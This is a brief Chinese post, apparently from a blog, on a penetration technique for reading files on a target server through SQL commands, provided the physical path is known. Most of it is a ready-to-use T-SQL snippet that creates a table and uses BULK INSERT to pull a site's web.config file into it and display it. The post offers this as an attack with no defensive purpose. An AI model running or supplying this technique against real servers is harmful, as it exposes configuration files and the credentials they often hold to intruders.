SQL命令读取文件内容的渗透

通过SQL命令可以查看目标机器文件

前提是要知识物理路径

 

代码如下：

Use xxx120; --任意库  drop table cmd;   create table cmd (a text);  BULK INSERT cmd      FROM 'd:\freehost\fuck\web.config'      WITH (          FIELDTERMINATOR = '\n',        ROWTERMINATOR = '\n\n'           )      select * from cmd 

 

 

标签分类：